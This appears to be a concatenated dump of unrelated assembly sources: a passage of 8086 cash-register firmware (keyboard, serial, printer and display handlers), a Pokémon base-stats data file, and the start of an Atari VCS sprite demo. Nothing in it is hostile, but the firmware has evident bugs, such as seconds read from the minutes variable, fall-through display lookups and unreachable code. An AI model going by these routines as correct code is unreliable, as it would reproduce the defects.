je crLab
mov isChar,1
jmp skipCrLab
crLab:
mov isCr,1
skipCrLab:
mov counter_mode,3
jmp ciEnd
mode3Lab:
;set counters and waiting
cmp isCr,1
jne charLab
dec cr_cnt
cmp cr_cnt,0
jne ciEnd
mov cr_cnt,64h
jmp chModeLab
charLab:
dec char_cnt
cmp char_cnt,0
jne ciEnd
mov char_cnt,0Ah
jmp chModeLab
chModeLab:
mov bx,print_ptr
dec bx
cmp bx,1Bh
je endPrintLab
dec numChar_to_print
cmp numChar_to_print,0
jne gotoM1Lab
endPrintLab:
mov counter_mode,0
mov print_ptr,offset current_bill
mov isPrinting,0
mov al,ocw1
out ocw1_adr,al
cmp isLad,1
je ciEnd
mov al,stop_counter
out print_portC,al
jmp ciEnd
gotoM1Lab:
mov counter_mode,1
ciEnd:
mov al,eoi1_command
out ocw2_adr,al
resReg
iret
;***********************************************************
; KEYBOARD INTERRUPT
;***********************************************************
keyboardInterrupt:
saveReg
xor bx,bx
xor dx,dx
sti
;---------------------
; find pressed key
;--------------------
; ROW 1
mov al, scan1
out key_portA,al
in al,key_portB
test al,mask1
jnz skip1
mov bl,00000111b
jmp numLab
skip1:
test al,mask2
jnz skip2
mov bl,00001000b
jmp numLab
skip2:
test al,mask3
jnz skip3
mov bl,00001001b
jmp numLab
skip3:
test al,mask4
jnz skip4
mov bl,'F'
jmp FLab
skip4:
;ROW 2
mov al, scan2
out key_portA,al
in al,key_portB
test al,mask1
jnz skip5
mov bl,00000100b
jmp numLab
skip5:
test al,mask2
jnz skip6
mov bl,00000101b
jmp numLab
skip6:
test al,mask3
jnz skip7
mov bl,00000110b
jmp numLab
skip7:
test al,mask4
jnz skip8
mov bl,'C'
jmp CLab
skip8:
;ROW 3
mov al, scan3
out key_portA,al
in al,key_portB
test al,mask1
jnz skip9
mov bl,00000001b
jmp numLab
skip9:
test al,mask2
jnz skip10
mov bl,00000010b
jmp numLab
skip10:
test al,mask3
jnz skip11
mov bl,00000011b
jmp numLab
skip11:
test al,mask4
jnz skip12
mov bl,'+'
jmp plusLab
skip12:
;ROW 4
mov al, scan4
out key_portA,al
in al,key_portB
test al,mask1
jnz skip13
mov bl,'#'
jmp minusLab
skip13:
test al,mask2
jnz skip14
mov bl,00000000b
jmp numLab
skip14:
test al,mask3
jnz skip15
mov bl,'*'
jmp mulLab
skip15:
test al,mask4
jnz skip16
mov bl,'='
jmp equLab
skip16:
;noise
mov al,eoi2_command
out ocw2_adr,al
iret
;------------------------
; logic
;------------------------
numLab:
cmp error,1
je keyEnd
cmp isFunction,1
je funcLab
cmp isAmount,1
je amountLab
mov ax,cur_product_id
mov dl,0Ah
mul dl
add ax,bx
mov cur_product_id,ax
mov dx,10h
mul dx
mov bx,ax
mov cur_product_offset,bx
;display product
;move name to data_str
mov show_clock,0
mov ax,ds
push ax ;segment
mov ax,0Ch
push ax ;length 12
mov ax,offset data_str
push ax ;dst offset
mov ax,offset product_database
add bx,ax
push bx ;src offset
call copy_string
;price is moved to data_str
add bx,0Ch
mov ax,[bx]
mov cur_product_price,ax
mov dx,ds
push dx ;segment
mov dx,offset data_str
add dx,10h ;last location
push dx ;offset
push ax ;price
call value_to_string
;prepare buffer
mov ax,offset data_str
push ax
call fill_disply_buf
jmp keyEnd
amountLab:
mov ax,cur_amount
mov dl,0Ah
mul dl
add bx,ax
mov cur_amount,bx
;display amount
;cur_amount to amount_str
mov show_clock,0
mov si, offset amount_str
add si,05h ;last location
mov ax,ds
push ax ;segment
push si ;offset
push bx ;value
call value_to_string
;cur_price to amount_str
add si,0Bh ;last location
push ax ;segment
push si ;offset
mov ax,cur_product_price
mul bx
push ax ;val
call value_to_string
mov ax,offset amount_str
push ax
call fill_disply_buf
jmp keyEnd
funcLab:
cmp bl,0
je func0
cmp bl,1
je func1
cmp bl,2
je func2
cmp bl,3
je func3
jmp keyEnd
func0:
call setup_sales_data
mov ax,offset sales_data
mov cur_item_to_send,ax
mov numChar_to_print,16000
;start transfer
mov al,serial_com_T1R0
out serial_cnt_adr,al
;lock keyboard interrupt
mov al,lockKeyboard
out ocw1_adr,al
;set flags
mov show_clock,1
jmp keyEnd
func1:
call setup_sales_data
mov ax,offset sales_data
mov print_ptr,ax
mov numChar_to_print,16000
mov al,start_counter
out print_portC,al
;lock keyboard interrupt
mov al,lockKeyboard
out ocw1_adr,al
;set flags
mov show_clock,1
jmp keyEnd
func2:
;display total
mov bx, offset sys_total_str
add bx,0Fh ;last location
mov ax,ds
push ax ;segment
push bx ;offset
mov ax,total
push ax ;value
call value_to_string
mov ax, offset sys_total_str
push ax
call fill_disply_buf
jmp keyEnd
func3:
;open lad and start counter
mov isLad,1
mov al,start_counter
out print_portC,al
cmp isPrinting,1
je ladSkip3Lab
mov al,lad1wr0
out print_portB, al
jmp keyEnd
ladSkip3Lab:
mov al,lad1wr1
out print_portB, al
jmp keyEnd
plusLab:
cmp error,1
je keyEnd
mov bx,offset product_database
mov si,cur_product_offset
add bx,si
;move name to bill_buf
mov ax,ds
push ax ;segment
mov ax,0Ch
push ax ;length 12
mov ax, cur_bill_ptr
push ax ;dst offset
add ax,0Ch
mov cur_bill_ptr,ax
push bx ;src offset
call copy_string
;modify bill_price
mov ax,cur_product_price
mov dx,cur_amount
mul dx
mov dx,bill_price
add dx,ax
mov bill_price,dx
;inc total
mov dx,total
add dx,ax
mov total,dx
;move product price to bill_buf
mov dx,ds
push dx ;segment
mov si,cur_bill_ptr
add si,05h
push si ;offset
push ax ;price
call value_to_string
;new line
mov BYTE PTR [si],0Dh
inc si
mov BYTE PTR [si],0Ah
inc si
mov cur_bill_ptr,si
;inc sold number
add bx,0Eh
mov ax,[bx]
mov dx,cur_amount
add ax,dx
mov [bx],ax
;reset values
mov cur_amount,0
mov cur_product_id,0
mov cur_product_offset,0
mov cur_product_price, 0
;set display
mov bx, offset sys_amount_str
add bx,0Fh ;last location
mov ax,ds
push ax ;segment
push bx ;offset
mov ax,bill_price
push ax ;value
call value_to_string
mov ax, offset sys_amount_str
push ax
call fill_disply_buf
;printing
mov ax,numChar_to_print
add ax,13h
mov numChar_to_print,ax
cmp isPrinting,1
je keyEnd
mov isPrinting,1
mov print_ptr,offset current_bill
mov counter_mode,1 ;mode 1-put data and wr=1
mov al,start_counter ;start counter
out print_portC,al
jmp keyEnd
minusLab:
cmp error,1
je keyEnd
;put '-' to bill
mov bx,cur_bill_ptr
mov BYTE PTR [bx],'-'
inc bx
mov cur_bill_ptr,bx
mov bx,offset product_database
mov si,cur_product_offset
add bx,si
mov ax,ds
;move name to bill_buf
push ax ;segment
mov ax,0Ch
push ax ;length 12
mov ax, cur_bill_ptr
push ax ;dst offset
add ax,0Ch
mov cur_bill_ptr,ax
push bx ;src offset
call copy_string
;modify bill_price
mov ax,cur_product_price
mov dx,cur_amount
mul dx
mov dx,bill_price
add dx,ax
mov bill_price,dx
;dec total
mov dx,total
sub dx,ax
mov total,dx
;move product price to bill_buf
mov dx,ds
push dx ;segment
mov si,cur_bill_ptr
add si,05h
push si ;offset
push ax ;price
call value_to_string
;new line
mov BYTE PTR [si],0Dh
inc si
mov BYTE PTR [si],0Ah
inc si
mov cur_bill_ptr,si
;dec sold number
add bx,0Eh
mov ax,[bx]
mov dx,cur_amount
sub ax,dx
mov [bx],ax
;reset values
mov cur_amount,0
mov cur_product_id,0
mov cur_product_offset,0
mov cur_product_price, 0
;set display
mov bx, offset sys_amount_str
add bx,0Fh ;last location
mov ax,ds
push ax ;segment
push bx ;offset
mov ax,bill_price
push ax ;value
call value_to_string
mov ax, offset sys_amount_str
push ax
call fill_disply_buf
jmp keyEnd
;printing
mov ax,numChar_to_print
add ax,14h
mov numChar_to_print,ax
cmp isPrinting,1
je keyEnd
mov print_ptr,offset current_bill
mov isPrinting,1
mov counter_mode,1
mov al,start_counter ;start counter
out print_portC,al
jmp keyEnd
equLab:
cmp error,1
je keyEnd
;prepare for print
mov al,'='
mov si,cur_bill_ptr
mov cx,0Ah
equLoop:
mov BYTE PTR [si],al
inc si
loop equLoop
mov BYTE PTR [si],0Dh
inc si
mov BYTE PTR [si],0Ah
inc si
;put total price
mov ax,ds
push ds ;seg
push si ;off
mov ax,bill_price
push ax ;val
call value_to_string
mov BYTE PTR [si],1Bh ;escape
;reset values
mov cur_bill_ptr,0
mov bill_price,0
mov isReady,1
;display clock
mov show_clock,1
;open lad and start counter
mov isLad,1
mov al,start_counter
out print_portC,al
cmp isPrinting,1
je ladSkip1Lab
mov al,lad1wr0
out print_portB, al
jmp ladSkip2Lab
ladSkip1Lab:
mov al,lad1wr1
out print_portB, al
ladSkip2Lab:
;printing
mov ax,numChar_to_print
add ax,11h
mov numChar_to_print,ax
cmp isPrinting,1
je keyEnd
mov isPrinting,1
mov counter_mode,1
mov al,start_counter ;start counter
out print_portC,al
jmp keyEnd
FLab:
cmp error,1
je keyEnd
cmp isReady,1
jne errorLab
mov isFunction,1
jmp keyEnd
CLab:
mov isFunction,0
mov cur_product_id,0
mov cur_amount,1
mov isAmount,0
mov show_clock,1
jmp keyEnd
mulLab:
cmp error,1
je keyEnd
mov isAmount,1
jmp keyEnd
errorLab:
mov error,1
mov ax,offset err_str
push ax
call fill_disply_buf
keyEnd:
mov al, 0h
out key_portA,al
mov al,eoi2_command
out ocw2_adr,al
iret
;*********************************************************
; SERIAL INTERRUPT
;*********************************************************
serialInterrupt:
saveReg
sti
cmp serialF0,1
je F0Lab
mov bx,offset product_database
mov si,offset cur_database_ptr
cmp protocol_phase,3
je phase3
cmp protocol_phase,2
je phase2
cmp protocol_phase,1
je phase1
cmp protocol_phase,0
je phase0
je siEnd
phase0:
;start database init protocol
;transmit to PC SYN character
mov al,16h
out serial_data_adr,al
mov al,protocol_phase
inc al
mov protocol_phase,al
jmp siEnd
phase1:
;turn off transmit
mov al,serial_com_T0R1
out serial_cnt_adr,al
mov al,protocol_phase
inc al
mov protocol_phase,al
jmp siEnd
phase2:
;receive SYN
in al,serial_data_adr
cmp al,16h
jne siErr
mov al,protocol_phase
inc al
mov protocol_phase,al
push si
mov ax,offset programming_str
push ax
call fill_disply_buf
jmp siEnd
phase3:
;programming
in al,serial_data_adr
cmp progTime,1
je timeLab
cmp al,1bh
je startTimeLab
cmp data_count,11
jle nameLab
cmp data_count,13
jle priceLab
nameLab:
mov [bx+si],al
inc si
mov cur_database_ptr,si
inc data_count
jmp siEnd
priceLab:
mov [bx+si],al
inc si
mov cur_database_ptr,si
cmp data_count,13
je priceClearLab
inc data_count
jmp siEnd
priceClearLab:
mov data_count,0
mov BYTE PTR [bx+si],0
inc si
mov BYTE PTR [bx+si],0
inc si
mov cur_database_ptr,si
jmp siEnd
startTimeLab:
cmp data_count,0
jne siErr
mov progTime,1
jmp siEnd
timeLab:
mov bl,time_count
cmp bl,0
je hoursLab
cmp bl,1
je minutesLab
cmp bl,2
je secondsLab
hoursLab:
mov hours,al
inc bl
mov time_count,bl
jmp siEnd
minutesLab:
mov minutes,al
inc bl
mov time_count,bl
jmp siEnd
secondsLab:
mov seconds,al
inc bl
mov time_count,bl
mov al,serial_com_T0R0
out serial_cnt_adr,al
mov cur_database_ptr,0
jmp siEnd
F0Lab:
mov bx,cur_item_to_send
mov al,ds:[bx]
inc bx
mov cur_item_to_send,bx
cmp al,1bh; escape like end
jne send
mov al,serial_com_T0R0
out serial_cnt_adr,al
;unmask keyboard interrupt
mov al,ocw1
out ocw1_adr,al
;reset flags
mov cur_bill_ptr,0
mov sending_bill,0
jmp siEnd
send:
out serial_data_adr,al
jmp siEnd
siErr:
mov ax, offset sys_err_str
push ax
call fill_disply_buf
mov lock_sys,1
siEnd:
mov al,eoi3_command
out ocw2_adr,al
resReg
iret
;*********************************************************
; PRINTER INTERRUPT
;*********************************************************
printerInterrupt:
mov have_paper,0
mov al,eoi4_command
out ocw2_adr,al
iret
;====================================================================================================
;*********************************** UTILITY FUNCTIONS ****************************************
;====================================================================================================
;#############################################################
; arg0: offset of src string (word)
; arg1: offset of dst string (word)
; arg2: length (word)
; arg3: segment (word)
;#############################################################
copy_string proc near
push bp
mov bp,sp
saveReg
mov si,WORD PTR [bp+04h]
mov ds,WORD PTR [bp+1Ah]
mov di,WORD PTR [bp+06h]
mov es,WORD PTR [bp+1Ah]
mov cx,WORD PTR [bp+08h]
cld
rep movsb
resReg
pop bp
ret 08h
copy_string endp
;#############################################################
;#############################################################
; arg0: offset of string
; -string must have 17 bytes
;#############################################################
fill_disply_buf proc near
push bp
mov bp,sp
push si
push di
push cx
mov si,[bp+04h];
mov di, offset display_buffer
mov cx,17
petlja:
cmp BYTE PTR ds:[si],'0'
je LAB_0
cmp BYTE PTR ds:[si],'1'
je LAB_1
cmp BYTE PTR ds:[si],'2'
je LAB_2
cmp BYTE PTR ds:[si],'3'
je LAB_3
cmp BYTE PTR ds:[si],'4'
je LAB_4
cmp BYTE PTR ds:[si],'5'
je LAB_5
cmp BYTE PTR ds:[si],'6'
je LAB_6
cmp BYTE PTR ds:[si],'7'
je LAB_7
cmp BYTE PTR ds:[si],'8'
je LAB_8
cmp BYTE PTR ds:[si],'9'
je LAB_9
cmp BYTE PTR ds:[si],'A'
je LAB_A
cmp BYTE PTR ds:[si],'B'
je LAB_B
cmp BYTE PTR ds:[si],'C'
je LAB_C
cmp BYTE PTR ds:[si],'D'
je LAB_D
cmp BYTE PTR ds:[si],'E'
je LAB_E
cmp BYTE PTR ds:[si],'F'
je LAB_F
cmp BYTE PTR ds:[si],'G'
je LAB_G
cmp BYTE PTR ds:[si],'H'
je LAB_H
cmp BYTE PTR ds:[si],'I'
je LAB_I
cmp BYTE PTR ds:[si],'J'
je LAB_J
cmp BYTE PTR ds:[si],'K'
je LAB_K
cmp BYTE PTR ds:[si],'L'
je LAB_L
cmp BYTE PTR ds:[si],'M'
je LAB_M
cmp BYTE PTR ds:[si],'N'
je LAB_N
cmp BYTE PTR ds:[si],'O'
je LAB_O
cmp BYTE PTR ds:[si],'P'
je LAB_P
cmp BYTE PTR ds:[si],'Q'
je LAB_Q
cmp BYTE PTR ds:[si],'R'
je LAB_R
cmp BYTE PTR ds:[si],'S'
je LAB_S
cmp BYTE PTR ds:[si],'T'
je LAB_T
cmp BYTE PTR ds:[si],'U'
je LAB_U
cmp BYTE PTR ds:[si],'V'
je LAB_V
cmp BYTE PTR ds:[si],'W'
je LAB_W
cmp BYTE PTR ds:[si],'X'
je LAB_X
cmp BYTE PTR ds:[si],'Y'
je LAB_Y
cmp BYTE PTR ds:[si],'Z'
je LAB_Z
cmp BYTE PTR ds:[si],' '
je LAB_SPACE
cmp BYTE PTR ds:[si],'*'
je LAB_MUL
cmp BYTE PTR ds:[si],':'
je LAB_DD
LAB_0:
mov BYTE PTR ds:[di],display0_b
inc di
mov BYTE PTR ds:[di],display0_c
inc di
LAB_1:
mov BYTE PTR ds:[di],display1_b
inc di
mov BYTE PTR ds:[di],display1_c
inc di
LAB_2:
mov BYTE PTR ds:[di],display2_b
inc di
mov BYTE PTR ds:[di],display2_c
inc di
LAB_3:
mov BYTE PTR ds:[di],display3_b
inc di
mov BYTE PTR ds:[di],display3_c
inc di
LAB_4:
mov BYTE PTR ds:[di],display4_b
inc di
mov BYTE PTR ds:[di],display4_c
inc di
LAB_5:
mov BYTE PTR ds:[di],display5_b
inc di
mov BYTE PTR ds:[di],display5_c
inc di
LAB_6:
mov BYTE PTR ds:[di],display6_b
inc di
mov BYTE PTR ds:[di],display6_c
inc di
LAB_7:
mov BYTE PTR ds:[di],display7_b
inc di
mov BYTE PTR ds:[di],display7_c
inc di
LAB_8:
mov BYTE PTR ds:[di],display8_b
inc di
mov BYTE PTR ds:[di],display8_c
inc di
LAB_9:
mov BYTE PTR ds:[di],display9_b
inc di
mov BYTE PTR ds:[di],display9_c
inc di
LAB_A:
mov BYTE PTR ds:[di],displayA_b
inc di
mov BYTE PTR ds:[di],displayA_c
inc di
LAB_B:
mov BYTE PTR ds:[di],displayB_b
inc di
mov BYTE PTR ds:[di],displayB_c
inc di
LAB_C:
mov BYTE PTR ds:[di],displayC_b
inc di
mov BYTE PTR ds:[di],displayC_c
inc di
LAB_D:
mov BYTE PTR ds:[di],displayD_b
inc di
mov BYTE PTR ds:[di],displayD_c
inc di
LAB_E:
mov BYTE PTR ds:[di],displayE_b
inc di
mov BYTE PTR ds:[di],displayE_c
inc di
LAB_F:
mov BYTE PTR ds:[di],displayF_b
inc di
mov BYTE PTR ds:[di],displayF_c
inc di
LAB_G:
mov BYTE PTR ds:[di],displayG_b
inc di
mov BYTE PTR ds:[di],displayG_c
inc di
LAB_H:
mov BYTE PTR ds:[di],displayH_b
inc di
mov BYTE PTR ds:[di],displayH_c
inc di
LAB_I:
mov BYTE PTR ds:[di],displayI_b
inc di
mov BYTE PTR ds:[di],displayI_c
inc di
LAB_J:
mov BYTE PTR ds:[di],displayJ_b
inc di
mov BYTE PTR ds:[di],displayJ_c
inc di
LAB_K:
mov BYTE PTR ds:[di],displayK_b
inc di
mov BYTE PTR ds:[di],displayK_c
inc di
LAB_L:
mov BYTE PTR ds:[di],displayL_b
inc di
mov BYTE PTR ds:[di],displayL_c
inc di
LAB_M:
mov BYTE PTR ds:[di],displayM_b
inc di
mov BYTE PTR ds:[di],displayM_c
inc di
LAB_N:
mov BYTE PTR ds:[di],displayN_b
inc di
mov BYTE PTR ds:[di],displayN_c
inc di
LAB_O:
mov BYTE PTR ds:[di],displayO_b
inc di
mov BYTE PTR ds:[di],displayO_c
inc di
LAB_P:
mov BYTE PTR ds:[di],displayP_b
inc di
mov BYTE PTR ds:[di],displayP_c
inc di
LAB_Q:
mov BYTE PTR ds:[di],displayQ_b
inc di
mov BYTE PTR ds:[di],displayQ_c
inc di
LAB_R:
mov BYTE PTR ds:[di],displayR_b
inc di
mov BYTE PTR ds:[di],displayR_c
inc di
LAB_S:
mov BYTE PTR ds:[di],displayS_b
inc di
mov BYTE PTR ds:[di],displayS_c
inc di
LAB_T:
mov BYTE PTR ds:[di],displayT_b
inc di
mov BYTE PTR ds:[di],displayT_c
inc di
LAB_U:
mov BYTE PTR ds:[di],displayU_b
inc di
mov BYTE PTR ds:[di],displayU_c
inc di
LAB_V:
mov BYTE PTR ds:[di],displayV_b
inc di
mov BYTE PTR ds:[di],displayV_c
inc di
LAB_W:
mov BYTE PTR ds:[di],displayW_b
inc di
mov BYTE PTR ds:[di],displayW_c
inc di
LAB_X:
mov BYTE PTR ds:[di],displayX_b
inc di
mov BYTE PTR ds:[di],displayX_c
inc di
LAB_Y:
mov BYTE PTR ds:[di],displayY_b
inc di
mov BYTE PTR ds:[di],displayY_c
inc di
LAB_Z:
mov BYTE PTR ds:[di],displayZ_b
inc di
mov BYTE PTR ds:[di],displayZ_c
inc di
LAB_SPACE:
mov BYTE PTR ds:[di],display_null
inc di
mov BYTE PTR ds:[di],display_null
inc di
LAB_MUL:
mov BYTE PTR ds:[di],displayMul_b
inc di
mov BYTE PTR ds:[di],displayMul_c
inc di
LAB_DD:
mov BYTE PTR ds:[di],displayDD_b
inc di
mov BYTE PTR ds:[di],displayDD_c
inc di
inc si
dec cx
jnz petlja
pop cx
pop di
pop si
pop bp
retn 02h
fill_disply_buf endp
;#############################################################
;#############################################################
; refresh display to show new value
; from display_buffer
;#############################################################
display_refresh proc near
push ax
push bx
push cx
push si
;display buffer
mov bx,offset display_buffer
xor si,si
;seg 0
mov al,[bx+si]
out dis_portB,al
inc si
mov al,[bx+si]
out dis_portC,al
inc si
mov al,select_seg0
out dis_portA,al
;seg 1
mov al,[bx+si]
out dis_portB,al
inc si
mov al,[bx+si]
out dis_portC,al
inc si
mov al,select_seg1
out dis_portA,al
;seg 2
mov al,[bx+si]
out dis_portB,al
inc si
mov al,[bx+si]
out dis_portC,al
inc si
mov al,select_seg2
out dis_portA,al
;seg 3
mov al,[bx+si]
out dis_portB,al
inc si
mov al,[bx+si]
out dis_portC,al
inc si
mov al,select_seg3
out dis_portA,al
;seg 4
mov al,[bx+si]
out dis_portB,al
inc si
mov al,[bx+si]
out dis_portC,al
inc si
mov al,select_seg4
out dis_portA,al
;seg 5
mov al,[bx+si]
out dis_portB,al
inc si
mov al,[bx+si]
out dis_portC,al
inc si
mov al,select_seg5
out dis_portA,al
;seg 6
mov al,[bx+si]
out dis_portB,al
inc si
mov al,[bx+si]
out dis_portC,al
inc si
mov al,select_seg6
out dis_portA,al
;seg 7
mov al,[bx+si]
out dis_portB,al
inc si
mov al,[bx+si]
out dis_portC,al
inc si
mov al,select_seg7
out dis_portA,al
;seg 8
mov al,[bx+si]
out dis_portB,al
inc si
mov al,[bx+si]
out dis_portC,al
inc si
mov al,select_seg8
out dis_portA,al
;seg 9
mov al,[bx+si]
out dis_portB,al
inc si
mov al,[bx+si]
out dis_portC,al
inc si
mov al,select_seg9
out dis_portA,al
;seg 10
mov al,[bx+si]
out dis_portB,al
inc si
mov al,[bx+si]
out dis_portC,al
inc si
mov al,select_seg10
out dis_portA,al
;seg 11
mov al,[bx+si]
out dis_portB,al
inc si
mov al,[bx+si]
out dis_portC,al
inc si
mov al,select_seg11
out dis_portA,al
;seg 12
mov al,[bx+si]
out dis_portB,al
inc si
mov al,[bx+si]
out dis_portC,al
inc si
mov al,select_seg12
out dis_portA,al
;seg 13
mov al,[bx+si]
out dis_portB,al
inc si
mov al,[bx+si]
out dis_portC,al
inc si
mov al,select_seg13
out dis_portA,al
;seg 14
mov al,[bx+si]
out dis_portB,al
inc si
mov al,[bx+si]
out dis_portC,al
inc si
mov al,select_seg14
out dis_portA,al
;seg 15
mov al,[bx+si]
out dis_portB,al
inc si
mov al,[bx+si]
out dis_portC,al
inc si
mov al,select_seg15
out dis_portA,al
;seg 16
mov al,[bx+si]
out dis_portB,al
inc si
mov al,[bx+si]
out dis_portC,al
inc si
mov al,select_seg16
out dis_portA,al
;switch off
mov al,unselect_seg
out dis_portA,al
pop si
pop cx
pop bx
pop ax
retn
display_refresh endp
;#############################################################
;#############################################################
; time to string
; " h1h0 : m1mo : s1s0 "
;#############################################################
time_to_string proc near
push ax
push bx
push cx
push si
xor si,si
xor ax,ax
mov BYTE PTR [time_str+si],' '
inc si
mov BYTE PTR [time_str+si],' '
inc si
;hours
mov al,hours
mov cl,0Ah
div cl
mov bl,al
sub bl,'0'
mov BYTE PTR [time_str+si],bl
inc si
mov bl,ah
sub bl,'0'
mov BYTE PTR [time_str+si],bl
inc si
mov BYTE PTR [time_str+si],' '
inc si
mov BYTE PTR [time_str+si],':'
inc si
mov BYTE PTR [time_str+si],' '
inc si
;minutes
mov al,minutes
mov cl,0Ah
div cl
mov bl,al
sub bl,'0'
mov BYTE PTR [time_str+si],bl
inc si
mov bl,ah
sub bl,'0'
mov BYTE PTR [time_str+si],bl
inc si
mov BYTE PTR [time_str+si],' '
inc si
mov BYTE PTR [time_str+si],':'
inc si
mov BYTE PTR [time_str+si],' '
inc si
;seconds
mov al,minutes
mov cl,0Ah
div cl
mov bl,al
sub bl,'0'
mov BYTE PTR [time_str+si],bl
inc si
mov bl,ah
sub bl,'0'
mov BYTE PTR [time_str+si],bl
inc si
mov BYTE PTR [time_str+si],' '
inc si
mov BYTE PTR [time_str+si],' '
inc si
cmp sending_bill,1
je starLab
mov BYTE PTR [time_str+si],' '
jmp notStarLab
starLab:
mov BYTE PTR [time_str+si],'*'
notStarLab:
pop si
pop cx
pop bx
pop ax
retn
time_to_string endp
;#############################################################
;#############################################################
; int to string
; arg0: value (word)
; arg1: destination offset (last location)
; arg2: destination segment
;#############################################################
value_to_string proc near
push bp
mov bp,sp
saveReg
mov ax,[bp+02h]
mov di,[bp+04h]
mov bx,[bp+06h]
mov ds,bx
mov cx,0Ah
mov si,05h
convert:
xor dx,dx
div cx
add dl,'0'
mov ds:[di],dl
dec di
dec si
cmp ax,0
jne convert
le5Lab:
cmp si,0
je conEnd
mov BYTE PTR ds:[di],' '
dec di
dec si
jmp le5Lab
conEnd:
resReg
pop bp
retn 06h
value_to_string endp
;#############################################################
;#############################################################
; setup sales data
;#############################################################
setup_sales_data proc near
saveReg
mov bx,offset product_database
xor si,si
mov di,14
mov cx,1000
xor dx,dx
setupLoop:
mov ax,[bx+di]
cmp ax,0
je skipSetupLab
mov WORD PTR [bx+di],0
mov dx,ds
push dx ;seg for next func
push dx ;seg
mov dx,0Ch
push dx ;length
mov dx,cur_sales_ptr
push dx ;dst
push si ;src
call copy_string ;copy name
add dx,0Ch
push dx
push ax
call value_to_string ;copy num of sales
add dx,05h
mov cur_sales_ptr,dx
skipSetupLab:
add si,10h
add di,10h
loop setupLoop
mov bx,dx
mov BYTE PTR [bx],1Bh
mov cur_sales_ptr,offset sales_data
resReg
setup_sales_data endp
;#############################################################
;====================================================================================================
;************************************** MAIN **************************************************
;====================================================================================================
startADR:
cli
; inti system
call init
sti
labStart:
nop
cmp lock_sys,0
je labStart
cli
labLock:
nop ;system error detected
jmp labLock
program ENDS
END startADR
|
||||
TheStack | 05127ca2a32545fd9a7e8f8dbd45be168859d758 | Assemblycode:Assembly | {"size": 570, "ext": "asm", "max_stars_repo_path": "data/baseStats_original/weavile.asm", "max_stars_repo_name": "adhi-thirumala/EvoYellow", "max_stars_repo_stars_event_min_datetime": "2018-08-28T21:47:01.000Z", "max_stars_repo_stars_event_max_datetime": "2022-02-20T20:29:59.000Z", "max_issues_repo_path": "data/baseStats_original/weavile.asm", "max_issues_repo_name": "adhi-thirumala/EvoYellow", "max_issues_repo_issues_event_min_datetime": "2019-04-03T19:53:11.000Z", "max_issues_repo_issues_event_max_datetime": "2022-03-11T22:49:34.000Z", "max_forks_repo_path": "data/baseStats_original/weavile.asm", "max_forks_repo_name": "adhi-thirumala/EvoYellow", "max_forks_repo_forks_event_min_datetime": "2019-12-09T19:46:02.000Z", "max_forks_repo_forks_event_max_datetime": "2020-12-05T21:36:30.000Z"} | {"max_stars_count": 16, "max_issues_count": 5, "max_forks_count": 2, "avg_line_length": 19.6551724138, "max_line_length": 57, "alphanum_fraction": 0.7192982456} | ;WeavileBaseStats: ; 38aa6 (e:4aa6)
db DEX_WEAVILE ; pokedex id
db 70 ; base hp
db 120 ; base attack
db 65 ; base defense
db 125 ; base speed
db 85 ; base special
db DARK ; species type 1
db ICE ; species type 2
db 35 ; catch rate
db 199 ; base exp yield
INCBIN "pic/ymon/weavile.pic",0,1 ; 55, sprite dimensions
dw WeavilePicFront
dw WeavilePicBack
db BITE
db 0
db 0
db 0
db 3 ; growth rate
; learnset
tmlearn 1,3,5,6,8
tmlearn 9,10,13,14,15,16
tmlearn 20
tmlearn 28,30,31,32
tmlearn 34,39,40
tmlearn 41,43,44,46
tmlearn 51,53,54
db BANK(WeavilePicFront)
|
||||
TheStack | 28c978b30e73f698a03b6a5db2e510f8d4c0d814 | Assemblycode:Assembly | {"size": 5217, "ext": "asm", "max_stars_repo_path": "rider.asm", "max_stars_repo_name": "DChristianson/atari-vcs-samples", "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "rider.asm", "max_issues_repo_name": "DChristianson/atari-vcs-samples", "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "rider.asm", "max_forks_repo_name": "DChristianson/atari-vcs-samples", "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null} | {"max_stars_count": null, "max_issues_count": null, "max_forks_count": null, "avg_line_length": 27.8983957219, "max_line_length": 111, "alphanum_fraction": 0.3935211808} | ;
; Experiment - 2 sprites, 24 lines x Variable Clock Width
; Source: bigmove.asm
;
processor 6502
include "vcs.h"
include "macro.h"
SEG.U variables
ORG $80
; TODO - variablize
scale0 EQU $80
offset0 EQU $82
graphics0 EQU $84
tessfo0 EQU $86
scale1 EQU $88
offset1 EQU $8A
graphics1 EQU $8C
tessfo1 EQU $8E
p0Counter EQU $90
p1Counter EQU $91
SEG
ORG $F000
Reset
; set TIA to known state (clear to 0)
lda #0
ldx #0
.zapTIA sta 0,x
inx
cpx #$40
bne .zapTIA
LDA #$ff
STA scale0+1
STA offset0+1
STA graphics0+1
STA tessfo0+1
STA scale1+1
STA offset1+1
STA graphics1+1
STA tessfo1+1
LDA #0
STA scale0
LDA #24
STA offset0
LDA #48
STA graphics0
LDA #72
STA tessfo0
LDA #96
STA scale1
LDA #120
STA offset1
LDA #144
STA graphics1
LDA #168
STA tessfo1
lda #66 ;2 28
sta COLUP0 ;2 30
lda #178
sta COLUP1 ;2 30
lda #8 ; reverse player 1
lda #REFP1
newFrame
; Start of vertical blank processing
lda #0
sta VBLANK
; 3 scanlines of vertical sync signal
lda #%00000010
sta VSYNC ; turn ON VSYNC bit 1
sta WSYNC ; wait a scanline
sta WSYNC ; another
sta WSYNC ; another = 3 lines total
lda #0
sta VSYNC ; turn OFF VSYNC bit 1
; 37 scanlines of vertical blank
ldx #35
vBlank00 sta WSYNC
dex
bne vBlank00
vBlank_36 ;
sta WSYNC ;3 0
vBlank_37 ; background
sta WSYNC ;3 0
ldx #0 ;2 5
stx COLUBK ;3 8 ; put a colour in the background
; 192 scanlines of picture
; drawing player 0 and player 1 simultaneously
prePlayer01
sta WSYNC ;3 0
SLEEP 25 ;25 25
sta RESP0 ;3 28 should be pp 21, sc 30, cc 90
SLEEP 25 ;25 53
sta RESP1 ;3 56
lda #23 ;2 58
sta p0Counter ;3 61
lda #23 ;2 63
sta p1Counter ;3 66
ldy p0Counter ;3 69
doPlayer01
sta WSYNC ;3 0
sta HMOVE ;3 3 ; process hmoves
lda (graphics0),Y ;5 8 ; p0 draw
sta GRP0 ;3 11
lda (scale0),Y ;5 16
sta NUSIZ0 ;3 19
ldy p1Counter ;3 22
lda (graphics0),Y ;6 25 ; p1 draw
